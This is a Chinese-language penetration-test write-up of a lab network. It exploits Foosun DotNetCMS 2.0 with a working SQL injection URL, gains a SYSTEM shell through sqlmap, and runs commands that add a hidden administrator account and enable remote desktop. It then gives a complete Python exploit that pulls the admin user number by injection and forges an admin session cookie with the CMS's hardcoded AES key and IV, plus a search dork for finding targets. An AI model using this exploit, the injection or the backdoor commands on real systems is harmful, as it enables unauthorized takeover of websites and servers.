记录一次【模仿真实环境】的内网漫游

一阶段、

信息收集：

通过NMAP进行端口扫描发现网站开放了80，443，700，8080端口

80端口下存在web服务：Foosun DotNetCMS 2.0 网站为IIS搭建的aspx站服务器操作系统为win2008

8080端口下存在路由登录界面

二、web渗透、

浏览网站发现网站使用了FoosunCMS

处存在sql注入

http://192.168.31.55/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,U

serNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin

Table: fs_sys_admin

[1 entry]

+--------------+

| UserNum |

+--------------+

| 327142054961 |

+--------------+

这里只跑出来了一个uerrnumber没有我们想要的后台账号和密码

但是发现这个注入又写入权限

不过并不知道绝对路径

然后我们利用--os-shell发现交互了一个shell并且是系统权限

开启3389 并建立一个用户成功了

并且我们获得权限的主机IP为192.168.1.123

网关为192.168.1.1

net user szg 123456 /add & net localgroup administrators szg /add

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

接下来我们利用网上爆出的漏洞利用该usernum生成一个cookie

脚本如下：

#coding:utf-8
import argparse
import urllib
import traceback
import base64
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
###############################
##search keyword： ##
##inurl:/manage/Login.aspx ##
###############################
KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
return parser.parse_args()
def run(url):
try:
usernumber = get_usernumber(url)
if usernumber is not None:
encrypt_cookie = generate_cookie(usernumber)
#写入cookie中
write_cookie(url, encrypt_cookie)
except Exception:
traceback.print_exc()
def get_usernumber(url):
fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
content = urllib.urlopen(fullurl).read()
index = content.index("<option value=\"")
if index != -1:
usernumber = content[index+15:]
usernumber = usernumber[0: content.index("\"")+1]
print "Get usernumber success. Usernumber is :", usernumber
return usernumber
else:
print "Get usernumber fail"
return None
def pkcs7padding(data):
bs = AES.block_size
padding = bs - len(data) % bs
padding_text = chr(padding) * padding
return data + padding_text
def generate_cookie(usernumber):
orgstr = "%s,admin,0,1,False"%(usernumber,)
cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
ciphertext = base64.b64encode(ciphertext)
return ciphertext
def write_cookie(url, ciphercookie):
print "Generate Cookie[SITEINFO]:", ciphercookie
print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)
if __name__ == '__main__':
args = parse_args()
try:
if args.url is not None:
run(args.url[0])
except Exception, e:
print "python Foosun_exp.py -u [url]"